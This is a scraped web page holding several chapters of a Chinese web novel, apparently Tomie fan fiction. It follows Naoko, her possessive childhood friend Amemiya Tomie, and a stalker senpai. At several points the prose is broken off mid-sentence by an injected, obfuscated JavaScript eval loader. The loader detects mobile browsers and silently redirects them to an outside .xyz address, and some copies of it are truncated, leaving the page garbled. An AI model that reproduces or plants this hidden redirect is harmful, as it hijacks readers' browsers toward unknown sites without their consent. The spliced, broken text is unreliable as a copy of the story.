“当然是和奈绪子……”他将尾音拖得很长，“不过，这管你什么事？” 喂，请不要把话断在这种暧昧的地方啊！不就是因为受伤去了一趟医务室吗…… 她在心里呐喊，但糟糕的社恐属性让她难以开口。 明明遮挡了大半张脸，奈绪子却硬是从他那过长的刘海上看出了若有所思。 如果不解释的话，多半会发生点什么可怕的事情。 “那个，其实……” 12. 第十二章（1） “你头发上好像有东西啊，奈绪子。”，话没说完，就被雨宫淡淡地打断了，“是片叶子呢。” 他把这片不知道什么时候沾上的树叶展示给她看，语气显得亲昵而暧昧。 这样一打断，她就错过了最好的解释机会。 铃木君锐利的视线透过厚长的刘海，仔细审视着两人，她能看清他放在椅背上、渐渐捏紧的手。 好一会儿，他低哑沉闷的嗓音才响起：“请问，雨宫君，你们是在……恋爱吗？” “是……”雨宫的唇角噙着一抹游刃有余的笑容，在她惊恐的目光中，慢悠悠地接上了剩下的话，“……吗？” “不是！当然不是。雨宫君和我，只是很好的朋友而已。” 奈绪子又羞又急，脸红了大半。 铃木君将脸朝她的方向探出了小半米，几乎要贴到她脸上，一字一顿：“是这样吗？” “当然了。雨宫君，你觉得呢？”她心虚地悄悄戳了戳雨宫腰间的软肉，反而被他斜眼冷睨一眼。 虽然不知道为什么，但她总觉得，要是和雨宫君交往的事传出去，一定会发生什么难以挽回的结果。 再加上她内心里，其实也只把这当成和雨宫君的家家酒，本质上和她小时候扮成花嫁嫁给他没什么两样。 “雨宫君？”见没反应，她又轻轻地戳了戳他的腰，被他不耐地反手抓住了手指。 “哦。” ……“哦”是什么意思？ 铃木君大概没有信，因为他周遭的气压越来越低，冷得她忍不住缩了缩脖子。 不过好在上课铃声很快就响起，他不得不悻悻地把头转了回去，否则奈绪子就要忍不住缴械投降了。 这个小插曲只是雨宫君犯病的冰山一角，因为接下来，他更变本加厉，试图在大家眼里营造出与她热恋的氛围。 这周正好轮到奈绪子负责清洁黑板和整理讲台。 总有些老师喜欢把板书写得很高，她只是个普通身材的女高中生，只好艰难地踮起脚尖，试图擦拭头顶上那处粉笔污渍。 正热汗淋漓地挥舞着手臂的时候，她身后忽然贴上来一具温热的躯体，板擦也被另一只手轻轻握住，夺了过去。 “我来帮你好了，奈绪子。” “……” 尽管没有回头，但她也能想象到班里的大家直勾勾盯着他们的视线。 雨宫富江，他大概是疯了。 这样一天下来，大家没察觉他们之间的异样才奇怪吧。她开始后悔谈这个什么破恋爱了。 等到中午在天台吃饭，奈绪子终于忍不住抱怨：“雨宫君，你实在是太刻意了……！” “啊，是吗？我还以为奈绪子你根本看不出来呢。” “哈？” 在他眼里她难道是傻子吗？ “这是为了警告某些蠢蠢欲动的人。奈绪子身边只要有雨宫富江就足够了。” 就算不做这种多此一举的事，她身边也只有他一个人了吧。 这么如临大敌是要做什么。 “总之你最好给我收敛一点，雨宫君。” “现在我才是受害者呢。” 雨宫的视线落到她张张合合的唇上，一顿。 她太后悔答应这种蠢事了。 “雨宫君，我其实……” 雨宫像是早就料到了她的话，冷冷截住了她的话头：“如果奈绪子你敢说出一些我并不想听到的话，一定会后悔的。” 对上他冷淡的视线，她又悻悻地闭上了嘴。 “不过，说好的情书呢？”他问，“奈绪子还没有写好吗？” 这种东西，根本写不出来好吧。 “我饿了，雨宫君。” 奈绪子本想蒙混过关，但还是被雨宫掐住了脸，低声警告：“今晚之前就交给我，否则……” “……知道了。雨宫君，你真的很烦人。” 一整个下午，雨宫都在紧盯着她，不时催促她：“还没有开始写吗奈绪子？我已经等很久了。” “写这种东西也需要情绪和灵感好不好，怎么可能想写就能写啊。” “所以说奈绪子你对我没有情绪吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706481|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他贴得太近，吹出的热气挠得她耳廓痒痒的，让她忍不住反手拍了他一下。 “我正在为此而努力呢。你不是得去打篮球吗？” 门外传来海野君几人呼唤雨宫的声音，她推了他一把，催促：“你还是快点去吧。” 他勉为其难地应了一声，走前，还暧昧地在她手心轻划了一道。 奈绪子起了一身鸡皮疙瘩。 这几天她没再去藏书室。 她本就是醉翁之意不在酒，既然遇不上入江前辈，那个地方也没了意义。 绞尽脑汁地想了半天，她也想不到能给雨宫君写什么情书。 “亲爱的雨宫君……” “谢谢你一直以来的照顾……” 不过这种东西能算得上是情书吗？ 更像是感谢信吧。 想着时间差不多了，奈绪子收拾好背包，准备到篮球场找雨宫君。 刚走到楼下，她就听见一道凄凄切切的哀求声： “雨宫君，雨宫君……你知道的，我绝不可能离开你……” “滚开，”雨宫冷淡地将人踹开，不过没多久，入江又再度膝行上前，匍匐在他脚旁，试图抱上他的小腿。 “雨宫君，你不是说过吗……我还有利用价值的，对不对？” 雨宫这才垂下眼，给了他一个正眼：“这倒没错，你究竟是哪里入了她的眼？” 温热的手粗暴地抬起入江的脸，翻来覆去地看了又看，最后才嫌恶地将他甩开，在他肩膀的衣服上蹭蹭。 最后，雨宫淡声评价：“恶心的老鼠。” 也许是奈绪子的眼神太赤裸，他轻而缓地转过头来，与她对上了视线。 被、被发现了！ 她下意识躲进墙后，不过这完全就是此地无银三百两。 入江淌着涎水爬行了两步，他头也没回，将他远远甩在了身后，反而走过来平静地牵起奈绪子的手。 “别看了，走吧。” “可是入江前辈他……”她往身后看了一眼，就被入江阴毒怨恨的目光吓了一跳。 13. 第十二章（2） “管他做什么。和我们一点关系也没有。你可别忘了，奈绪子，现在你可是我的女朋友。” 她急道：“少说那个词啊混蛋。不过，雨宫君，你和入江前辈……” “我不想从你的嘴巴里听见这个名字。” “你也太专制了，”她换了个称呼，“那你和前辈是怎么回事，他……他喜欢上你了，对吗？” “奈绪子……” 脚步一顿，他的脸一会儿红，一会儿白，一会儿青，最后才忍无可忍，冷笑了一声。 “奈绪子，你是在故意气我吗？说这种恶心的话，谁想被那种「老鼠」喜欢啊。”他居高临下地弹了一下她的脑门，“……除了你以外。” 不管怎么样，她也只能接受这个残酷的事实，毕竟她无法对雨宫君产生任何类似于“怨恨”的情绪。 而且入江前辈同样是个很温柔的人——虽然他对她做出了可怕的事。 “前辈和其他人不一样。” “没有什么不一样的，都是卑劣、恶毒的杂鱼。奈绪子，情书写好了吗？” “写好了，但是……” 但是应该算不上“情书”吧。 “那么，请念给我听吧。” 她环视了一圈：“啊？这里可是在大街上。” 雨宫不以为意：“有什么关系吗？反正他们也不敢靠近。况且，我现在就想听。” 反正也不是什么难以启齿的信，她清了清嗓子：“那好吧。” 她写了满满的一整张信纸，只不过越念，雨宫的脸色就越难看。 “……所以，感谢一直以来，雨宫君你对我的照顾。” 一封信念完，两人都安静了下来。 他盯着奈绪子：“……已经结束了吗？” “不够吗？” “哈，这是奈绪子你所谓的‘情书’吗？” “我已经很尽力地写了，你少得寸进尺。” “这是奈绪子你的真心话吗？” “啊？” “亲人什么的。” “当然啊。虽然很讨厌也很烦人，但雨宫君是亲人一样的存在。” 他嗤了一声：“哈，谁想当你的亲人了？没意思。” 说着，雨宫迈开腿，往前走了几步，与她拉开了距离。 ……哪里又让他生气了吗？ 真是个翻脸无情的家伙。 “还不赶紧跟上来？” 雨宫君的心，可真是难猜啊。 沉默地走了一会儿，他突然朝她伸出手：“给我。” “什么？” “当然是那封‘情书’。” “不是没意思吗？” 发顶落下一只温热的手掌，雨宫夹杂着无奈的声音闷闷地传来：“这时候知道刨根问底了？给我就是了。” 她刚把信从背包里掏出来，就被他夺过去，粗略地瞄一眼，塞进了兜里。 “要拿走吗？” “问这个做什么，难道你还要向我收费吗？” “哈，你也不需要这么凶吧。” 正走着，雨宫又朝她伸出一只手。 她不明所以：“信不是已经给你了吗？” “手。” “……啊？” “手。”见她还是没反应，他直接牵起她的手，拉着走了几步。 奈绪子则跟在他身后，抬起头瞪着他的脊背：“要牵手居然还这个讨厌的态度。” 直到在川濑家停下，雨宫才松开手：“到了，你回去吧。” “雨宫君，你难道生气了吗？” 他没说话，垂眼斜睨了她一眼：“没有。” 没有……才怪吧！ 她绞尽脑汁，思考着自己刚才又不小心说了什么得罪他的话，但很显然，她没有一点头绪。 是觉得她不配当他的亲人吗？ ……这个小气的家伙。 屋中的川濑美里抓着锅铲从门内探出头来：“奈绪子？还不进来吗？诶，雨宫君也在啊。要一起吃晚饭吗？” 她立刻心虚地退后了两步，被雨宫冷眼看在眼里。 “是我，妈妈。我这就进来了。” 还没来得及回答，川濑美里就一拍脑袋：“啊，遭了遭了，好像要烧糊了……我先进去看看。” 安静的社区里似乎就只有他们两人，她轻咳了两声：“要进来吗？” “可是奈绪子你似乎很不欢迎我呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“完全配不上雨宫君呢。” “也许是因为可怜她，与雨宫君才和她谈恋爱。毕竟青梅竹马什么的，感情深厚，无法拒绝，不是吗？” …… 她只想发疯。 14. 第十三章 奈绪子先前的考虑没有错。 她本来就不太受大家的待见，偶尔因为与雨宫君过界的接触，她还会被嫉妒的同学孤立和冷嘲热讽。 但与此同时，某些她不愿意看到的事情也发生了。 也许是知道雨宫君并非是个不染凡尘的高岭之花，越界的人渐渐多了起来，大家都想成为下一个特别的“川濑奈绪子”。 入江怜央就是其中一个。 短短半个月，他就从那个让奈绪子爱慕仰望的“前辈”，成了眼前这个孜孜不倦的“跟踪狂”。 他不仅总是想跟屁虫一样跟在两人身后，有一次还在他们用餐时突然跳出来，伸手从雨宫的便当里抓饭吃。 这让雨宫恶心得吃不下饭，忍无可忍地骂他： “如果你还要点脸，那么就离我远点。我对你这种丑八怪、虚伪软弱男、「老鼠」，一点兴趣也没有。” 入江没有说话，黏腻的视线却不由得定格在他张合的红唇上。 察觉到他的想法，雨宫嫌恶地抿紧了下唇，后退几步，转身将奈绪子拽走了。 边走，他还边冷酷地冷嗤：“真够恶心的，像苍蝇一样，赶也赶不走。” 奈绪子忍不住回头看了一眼，此时入江正捧着雨宫吃剩的便当，像野兽一样狼吞虎咽着。 “雨宫君……前辈看起来很不对劲呢。” 他脚步一顿，她躲闪不及，撞到了他的脊背上。 他转过头冷睨着她：“这跟你有什么关系？难不成你还对他念念不忘吗？这种有病毒的「老鼠」。” 她揉着额头：“不是。但他毕竟是前辈不是吗？而且，这都是被你害的吧。” 入江前辈很显然就是被雨宫君身上的“魅魔”光环给迷住了。 ——这是奈绪子最近玩游戏学来的新词，不得不说，和雨宫君意外的要贴切。 “哈，奈绪子，你知道你自己在说什么吗？”他的脸色很难看，“你为什么要关心别的什么人？你只关心我就够了，不是吗？” 真是厉害啊。 即便是完全不相关的东西，也能被雨宫君绕到谈恋爱的事情上。 “知道了，嚷嚷什么呢。” “总之，你以后不准再见他。” 见不见这种事情，并不是奈绪子可以决定的。 也不知道是不是雨宫君做了什么，接下来她在学园里见到前辈的次数直线下降，但与此同时，在家里见到他的频率却升高了。 某天周末，奈绪子准备到附近买酱油，居然意外撞见了正在掏雨宫家垃圾的入江。 神色之狂热，让她下意识躲到了墙后。 太可怕了。 这就是富江光环啊。 以至于破天荒的，连在打游戏的时候，她满脑子还都是入江怜央那张扭曲而疯狂的脸。 “哈，奈绪子，又在打这种无聊的游戏吗？”耳边灌进来一道熟悉的嗓音，她这才回过神来。 雨宫君在她身边坐下，手撑在她身后，若有似无地拥抱着她。说话时，他侧身半靠着她的脸侧，温热的气息扑打在她耳边，痒痒的。 他这样突然到川濑家蹭饭，也不是一次两次了。 “一点都不无聊好吗。不过，你怎么直接进来了？” 不管怎么说，女孩子的房间也不能随便进啊。 雨宫轻哼一声，没回答，视线随着她落到电视机上，淡声评价：“这个角色长得也不怎么样啊。奈绪子总是偏爱这种伪君子男的类型呢。” “什么‘伪君子男’，那是温柔型，说了你也不会懂。” 他毫不掩饰自己的不屑：“我并不觉得这个角色有什么魅力呢。哈，真是一点吸引人的地方都没有。” “哪里都很吸引人好吧，是你品味太烂了。”奈绪子连忙反驳，“他待人很温柔啊，看见受伤的小猫，也会小心地带回家里…… “就连接吻的时候，都会轻柔地搂住女主角……” “‘接吻’？”他应了一声，脸上的神情变得若有所思。 奈绪子向往的神情一顿，心虚地咳嗽两声：“我不是这种意思……” 青春期的女孩子，幻想一下未来的真命天子是理所当然的事情吧。 “啊，原来奈绪子你是在向往这些吗？那……”在她惊恐的视线中，他微微贴近，垂下眼，眼神轻而缓地落在她的唇瓣上。 他用一种甜蜜的、类似于恶魔引诱凡人下地狱的声音问道：“要和我试试吗？” 他延长的尾音带着蛊惑，唇瓣是淡淡的颜色，那双黑沉的眼眸则微微眯起，连一点光线也透不进。 奈绪子一直都有种莫名其妙的预感，总是盯着雨宫富江的眼睛看的话，会被它们吸进去的。 在她愣怔之时，这位魅魔的手轻轻抬起，落到她的腰上，还不客气地捏了捏： “要多吃一点哦，奈绪子。现在实在太瘦了点。” “走开啦。” 有一张美貌的脸真是了不起，哪怕是在讲这种扫兴的话，奈绪子也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等她离开，奈绪子连忙做贼心虚地上前锁上了门，还没来得及松一口气，一转身，就撞进了雨宫的怀里。 他顺手搂住她，低声喊她的名字：“奈绪子。” “……” 情绪平复下来，她才意识到刚才的场景有多么过界。 难道不是办家家酒吗……怎么可以接吻呢。 她只好警告道：“妈妈还在外面呢。” “怕什么呢。我会很小心的。难道说，奈绪子你不想试试吗？”他压低嗓音，点了点她的下唇，正试图将她拖入某种可怕的漩涡，“刚才一瞬即逝，我还没来得及品尝到味道呢。” 这又不是巧克力巴菲，怎么会有味道啊。 还没来得及反驳，奈绪子的脸就被一只温柔的手捧起，一个潮湿而带着幽香的吻印了上来。 15. 第十四章 就连这种事情，雨宫君也能做得游刃有余，就好像经验丰富一样。 而她除了紧紧依靠着房门，没有别的办法。 约莫过了半分钟，雨宫的动作才停下来。 迎着她呆愣的视线，他突然闷闷地笑了两声，伸手揉了揉她的耳垂：“真是笨蛋啊奈绪子，居然不会把嘴巴张开吗？” 她本来就红的脸，这下就更是升腾着热气。 又让他找到机会挖苦她了…… “哈，明明是你这个老师实在太差了吧。” 奈绪子推开他，愤怒地往床铺的方向走了两步，不过很快就被他像只大型犬似的从身后紧紧抱住： “抱歉，奈绪子，但你刚才的表情实在是太可爱了呢。” 虽然是在道歉，但他唇角还噙着一抹得逞的笑，完全没有反省的意思。 他笑嘻嘻地低声央求：“再给我一次机会吧，奈绪子。我保证，这次我会表现得很好的。” 在她犹豫的时候，一只手就缓慢地顺着她的腰线滑了上来。 哇，这个混蛋！ 雨宫一边舔舐着她的唇，一边闷声道： “是甜的呢，奈绪子。” 接吻什么的，果然还是太过分了啊…… 奈绪子猛地推开他，打开门逃了出去。 身后传来雨宫的一身低笑，听起来像是在嘲笑她。 一切都变得无可挽回了……她和雨宫君的感情已经变质了！ 就算再怎么尴尬，他们最后还是得要在一张桌子上吃饭。 雨宫挑了个紧挨着她的位置，撑着下颚，有一搭没一搭地用公筷给她夹菜。 这种事情以前也经常发生，川濑美里看上去什么也没察觉。 “说起来，雨宫君的学园生活过得怎么样呢？想好考哪里的大学了吗？”美里问。 他下意识瞥了正埋头吃饭的奈绪子一眼：“哪里都可以啊，只要能和奈绪子一起。” “诶，从小玩到大呢。你们两个都不感觉腻吗？也该交些别的朋友才对。” 奈绪子猝不及防地呛了一下，轻咳了两声，连忙接过他递过来的水灌了两口。 他状似不经意地问了句：“奈绪子呢？要考哪里的大学？” “……” 当然想去大城市，最好是东京。 不过想想活在雨宫君阴影里的整个童年，她还是决心把这个秘密暂时藏在心底。 她可不想和他念同一所大学。 “还没想好呢。也许是京都那边的大学吧。” “哦，京都啊。”他似乎听进去了。 “诶，又要考到一起吗？”美里笑了一阵，“难怪总会有人问我，你们两个到底是不是兄妹呢。” “兄妹吗？其实好像也差不太多呢。”说着，他抬起手，在她脑袋上轻抚了两下，“是吧，奈绪子？” 奈绪子拍开了那只不安分的手。 “想到奈绪子要离开我，还是有些担心的，”美里暗叹了口气，“不过雨宫君你和她待在一起的话，我就放心了很多呢。” 一顿饭吃完，雨宫主动帮忙把碗洗了。 美里推搡了她一把：“奈绪子，你去送送雨宫君吧。” 其实就两步路。 才刚走出门口，奈绪子的手就被牵住了。 “陪我走走吧，奈绪子。” “可是这里有什么好走的……还不如回去打游戏呢。” 这可是事实，社区里唯一值得一看的就是雨宫家漂亮的小花园。 “因为不想和奈绪子分开才这么说的。” “……啊？”她迟钝的脑子反应了好一会儿，才运行起来，“雨宫君，你是不是被夺舍了？” “是我最近才发现的。”他若无其事地拉着她走了两步，“原来我对奈绪子的感情，叫作「喜欢」啊。所以才无论如何都无法离开你。” 雨宫垂下眼，双手捧起她的脸，平淡地评价了一句：“也是，我们奈绪子看起来很可爱呢。” 她打了个寒颤，推开他的手：“你还是早些回去休息吧。雨宫君，你今天的状态实在是太奇怪了。” 他应了一声：“我在拼命让奈绪子你记住我呢。万一我突然死了，留下你一个人会很可怜。” “怎么可能会发生这种事啊。不要再说可怕的话了。如果你现在想让我给你两巴掌清醒清醒，我是不会拒绝的。” 事实上斗嘴半天，两人这才走到川濑家门口。 雨宫站在灯光下，单手插着兜，道：“好了，不说这些了。奈绪子，你回去吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706484|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她狐疑地盯着眼前的人：“你不会是突然生了什么难以启齿的重病吧？” “哈，我看起来像是生病的样子吗？”他脸上露出几分熟悉的不耐烦，“快回去吧奈绪子，玩你的游戏去。” 好吧，这种糟糕的态度，的确是真的雨宫君。 她这才放下心来，走回了屋里。 度过一个周末，又迎来了让人窒息的学园日子。 奈绪子一点都不想成为人群中的焦点，所以尽量避免在某种场合与雨宫君亲密接触。 但他却不以为意：“等我打完球，奈绪子给我送水吧。” “可是，我还想写我的……” 对上他冷酷中夹杂着警告的双眸，奈绪子只好勉强点头：“好吧，我知道了。” 虽然说是这么答应的，但她决定等球赛快结束了再踩着时间去。 她实在看不懂什么篮球，而且也不明白一群人围在一起抢一个破球有什么好看的。 其实雨宫君对她很好。 奈绪子当然不是那种喜欢遭受痛苦的奇怪的人。 这世界上对她最好的两个人，一个是川濑美里，她的妈妈；另一个就是雨宫富江。 有时候雨宫君对待她，甚至比妈妈还要细心。 这可能是因为川濑美里忙于工作，无法时时刻刻陪伴于她身侧的缘故。 从有记忆起，她就已经认识雨宫君了。 小时候他要早熟得多，所以忙碌的美里女士会把奈绪子拜托给他看顾。 他总会温柔地应下，小奈绪子很喜欢这个笑眯眯的哥哥。 长大之后，他的脾气就变得差了很多，和以前那个温润的雨宫君判若两人，不过对待她还是一如既往的好。 从“竹马”变成“男友”之后，就更好了，比之前要耐心得多，也要好哄得多。 写完半张试卷，奈绪子才慢悠悠地起身，准备先去一趟洗手间。 刚锁上隔间门，她就听见一阵轻微的水流声，下一秒，头顶就倒下来一桶冰凉的水。 哗啦一声响，她被浇了个透心凉。 她身上只穿着单薄的制服和百褶裙，此刻都湿透了，紧紧贴在她的皮肤上，隐隐勾勒出她肢体的轮廓。 惊愕散去之后，涌上来的就是强烈的愤怒。 16. 第十五章+第十六章 想象着冲出隔间狠狠甩始作俑者一个耳光的场面，她哆哆嗦嗦、犹犹豫豫地打开了门。 是的，她就是这么没出息。 门外当然早就空无一人，她才颤颤巍巍地从兜里掏出手机，抽抽噎噎地给雨宫播去了一个电话。 比赛似乎还没有结束，因为响了有三分钟的铃，电话才被接通。 雨宫没有说话，但那头隐隐传来其他人问询的声音： “雨宫君……你不打了吗？” 奈绪子抑制不住自己的哽咽声，委委屈屈地喊了个名字：“雨……雨宫君……气死我了……” 过了没多久，吵闹声彻底安静下来，他似乎换了个安静的地方。 “嗯。” “有人，朝我泼水了。” “你哭了吗？奈绪子。”顿了顿，他道，“算了，我来找你。” 听见他温柔而耐心的声音，她又气又急，窝囊地哭了起来。 他没再开口，只有偶尔传来的呼吸声证明，他并没有离开。 事实上过了不到两分钟，雨宫就到了。 隔间门就被人轻轻地敲了敲。 奈绪子一下子屏住了呼吸，连哭声也止住了。 “是我，奈绪子。开门。” “可我不想开门，气死我了。” 她知道自己现在一定显得很狼狈。 像是读懂了她的内心活动，门外的雨宫轻叹了口气：“奈绪子你从小到大有什么样子，是我没有见过的吗？” 这倒是真的。 而且她现在，太需要一个发泄的途径了。 虽然她明白，多半是因为雨宫君她才会遭到这飞来横祸，但她还是忍不住依赖他。 隔间门刚打开，雨宫就垂下眼，透过门缝与她对上了视线。 他的眼睛微微眯了起来，胸膛起伏，美丽的脸也因为愤怒显得有几分扭曲。 “知道是谁做的吗？” “不知道，打开门的时候，已经没有人了。” “你这蠢货。”他愤怒到了极点，低声咒骂了一句什么，奈绪子没有听清，只是默默地拽住了他的衣摆。 “雨宫君……我现在开始有点害怕了……明明我什么都没有做，不是吗？” 他没说话，强硬地拽着她走了两步。 “要、要去哪儿？” “去杀了这个可恶的「人渣」。” “你根本找不到是谁吧。” “哈，不然把他们全都杀死好了，反正也没有什么存在的意义。” 他脸上的肌肉急促地抽搐律动着，眼底也覆盖着一层浓重的阴翳。 不管他说的是真的还是假的，奈绪子都被吓了一大跳。 她一时忘了哭泣：“等、等等。” 雨宫的脑袋转过来，紧缩的瞳孔定在她脸上，见她哆嗦，才问：“冷了吗？” “……冷。” 他又低骂了一句什么，才把她推回了隔间里。她还没反应过来，一只臂膀就从头顶伸过来，把一件还带着热度的制服上衣递给她。 “不是说冷吗？总之先换上吧。” “……啊，哦。” 她只好脱下身上那件湿得不断往下滴水的衣服，换上了原属于雨宫的上衣。 温热的，干燥的，还带着他身上的古怪的幽香。 等她穿着那件过大的上衣从隔间里出来时，雨宫已经不知道什么时候套上了她的湿衣服，正冷脸等待着她。 这件衣服起码比他的身材要小上三号，紧紧地勒着他的胸膛，奈绪子几乎能透过湿透的布料，看清他起伏的肌肉。 甚至为了能自如地呼吸，他不得不解开了胸前的三颗纽扣，露出一片白花花的皮肤。 她愣了一下：“雨宫君，你……” “裤子没办法换，我穿不上你的裙子。冷的话，也只能先忍忍了。” “……” 她本来只是想问问，为什么不到储藏柜里拿一套备用制服呢…… “奈绪子。” 雨宫站在不远处，微微低垂着脑袋，眼睛藏在阴影里，她有些分辨不出他脸上的表情。 “怎么了？” “抱歉，奈绪子，是我没想到这些。” 一道阴影缓缓投落下来，下一刻，她就被搂进了一个潮湿的怀抱里。 雨宫贴在她耳边，声音低了许多：“我该保护好你的。” 被这么一打岔，奈绪子害怕的情绪早已消散了七八分。 这种飞来横祸，一定是雨宫君的某个爱慕者干的。 “雨宫君是怎么找到我的呢？” 明明刚才以为太愤怒和害怕，她都没来得及把地址告诉他。 “顺着味道找到的。奈绪子身上，有很香的味道呢。” “哈，雨宫君，看来你真的很喜欢这款洗发水。” “不过就算没有这种香味，无论奈绪子你逃到哪里，雨宫富江也还是会找到你的。” 这样形容多少有些吓人了。 “你少恐吓我，我想回家了。” 雨宫没再说什么，但手臂下落，紧紧地攥住了她的手。 回家的路上，天色渐渐暗了下来。 今天路人投注到雨宫君身上的视线，明显比以前还要多得多。 她猜测这大概是因为他身上的穿着。 “制服诱惑”…… 是这个词吗？ 不过种花家有句古话，“爱美之心人皆有之”，所以她也没有忍住诱惑，不时顺着他敞开的领口往里看。 等顺利回到家时，奈绪子惊慌的心情已经彻底平复下来，反而变得有几分蠢蠢欲动。 雨宫没察觉她的异样，松开手：“进去吧。” “啊，雨宫君，你等等。”她像是突然想起什么，从屋里拿出来一瓶崭新的洗发水，递给他，“给你。” “哈，奈绪子，送洗发水是有什么特别的意思吗？” “你不是喜欢这味道吗？总是在夸很香什么的。正好前几天网购有折扣，我特意给你买的呢。” 他黑沉的瞳孔忽闪一下，落到她脸上：“不需要这种东西。” 刚才看起来不是还很喜欢吗？夸个不停的。 ……真是难猜的家伙。 她正打算把手缩回来，却又被雨宫按住了。 “等等。” “不是不需要吗？” “现在需要了。” “……”奈绪子无语地冷眼瞪他。 “你快点进去吧。记得先把衣服换了。” 今晚的雨宫君真温柔啊，都不像雨宫富江了。 关于犯人，奈绪子尝试去查了监控，只是没有发现任何可疑的线索。 但是雨宫对此却表现得异常愤怒，颧骨处的肌肉抽搐了几下，露出一个阴森的表情，神经兮兮地说着一些“要把这些该死的「人渣」全都杀死”之类的话。 这当然不可能。 他之所以能够横行霸道这么久而没挨打，完全是因为大家舍不得打他那张美貌的脸。 是的，虽然为人猖狂，但是雨宫富江的武力值相当低。 这也算是完美的雨宫君，一点小小的缺点吧。 这件事情过去之后，雨宫君变得有些神经质，总像是狗皮膏药一样黏着她，就连去洗手间，也要紧张兮兮地发信息问她： “还没好吗？” 奈绪子给他回了一串省略号。 “我才进来二十秒不到吧。” “快点啊。” “知道了，少催我。” 也不知道是不是错觉，这条消息回完以后，她突然觉得脊背凉飕飕的。 等她从洗手间里走出来，原本等在门口的雨宫已经不见了踪影，她发了条消息过去，也是石沉大海。 难道是有急事先走了吗？ 不过雨宫君能有什么急事…… 打篮球吗？ “雨宫君？雨宫君？”她在周围转了一圈，沿路小声喊着他的名字，只不过始终没有得到回应。 绕过一个转角，一阵刀锋入肉声夹杂着某人低声的闷哼，灌入了她的耳朵。 循着声音的来源，她走了几步。 “……喂，奈绪子。” “雨宫君，你怎么在这里？” 只不过还没找到地方，她就被人从身后抓住了后领口。 “哈，这话该我问你才对吧。不乖乖在原地等着我，绕到这种地方来做什么？” 她抱怨：“居然还敢倒打一耙？还不是因为你突然神秘消失吗……你手上是什么？血吗？” 说着，她抬起雨宫的手，正准备细看，就被他随手挣开了。 “颜料而已，没什么好看的。” “真的吗？可是我都闻到血腥味了。” 奈绪子绕到他身后，才发觉他身上的制服早就被血渍浸透了一半，此刻正汩汩往下滴血。 她吓了一大跳，连忙抓着人上上下下地打量了一遍：“雨宫君，你没事吧？手臂还在吗？” “……没有什么事。” “可是你制服上衣都破了，半件衣服都是血，肯定伤得不轻啊。” “说了没有什么事。”他抬起手将奈绪子的脸拧开，“只是小伤而已。” “流这么多血，怎么可能真的是小伤啊……” “奈绪子，你真的很烦人。” 虽然是这么说，但雨宫脸上却没有不耐烦的意思，他把袖子撸起，将臂膀展示给她看：“真的只是小伤。” 她定睛看去，那居然真的只是个指甲盖大点的伤口，恐怕再过几分钟，就要愈合了。 “雨宫君，你该不会是去打人了吧？” 说到这个，他的表情难看了很多，咬牙切齿的：“打人？我恨不得杀了他。” “啊？” “走吧，赶紧离开这里。”说完，雨宫君就急匆匆地把她拽走了，就像是身后有谁在追一样。 一边走，他还一边不时紧张地朝身后看，等走出老远，他绷紧的神经才骤然松了下来。 “奈绪子，你要吃巴菲吗？” “现在好像不是讨论巴菲的时候吧？你是不是有什么事情瞒着我？” 雨宫定睛盯了她一会儿，才突然笑了两声，捏了捏她的脸：“奈绪子，你现在这个样子还真是可爱啊。” 她不爽地拂开他的手：“我可是在认真地关心你。” “没什么事，”他重复道，“总之，我不会让奈绪子你出什么事的。” 看样子他没有解释的意思，她狐疑地审视着他，被他伸手捂住了眼睛。 “不要这样看着我啊。走吧，奈绪子，我们去春日和吃芭菲好了。” 虽然巴菲很美味，但她满腹愁绪，吃得并不太开心。 她清清嗓子，试探着开口：“雨宫君，前几天我被泼水的事，你有什么头绪吗？” “没有。”想到那天的事，他原本还算得上是平和的脸一下子崩坏了，“等我找到这个该死的「人渣」，一定会亲手将他杀死的。” “不是……其实我是想问，”她忍不住用叉子戳了戳杯子里的巴菲，“谈恋爱……还要谈多久？我被人针对，完全是因为雨宫君你吧。” 如果不谈这该死的恋爱，她可什么事也不会有。 雨宫对此反应剧烈 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她有一种完全无法左右雨宫君的无力感，这家伙总有一套自己的理论。 “……那好吧。还要加一份双倍巧克力的，想带回家里吃。” 奈绪子最近总是想起在楼下看到入江前辈的事情，所以每每想起来，都下意识望向雨宫家的方向。 于是她就见到了更可怕的场景： 入江怜央会趁着雨宫家没人，偷偷爬进他房间里偷东西。 这种事情当然是藏不住的，雨宫开始频繁与奈绪子抱怨丢了东西，起初只是笔、水杯这种无伤大雅的物件。 “明明昨天还在这里的，奈绪子，真的不是被你拿走了吗？” 她没好气：“我拿你的耳机一点用处也没有。不过……” “不过什么？” “不过，有可能是前辈拿去了。” 听见这两个字，他脸颊上的肌肉浮夸地抽动了两下：“奈绪子，你这是什么意思？” “啊，雨宫君，你一点都没察觉啊？我经常看见前辈顺着水管爬进你房间呢。” 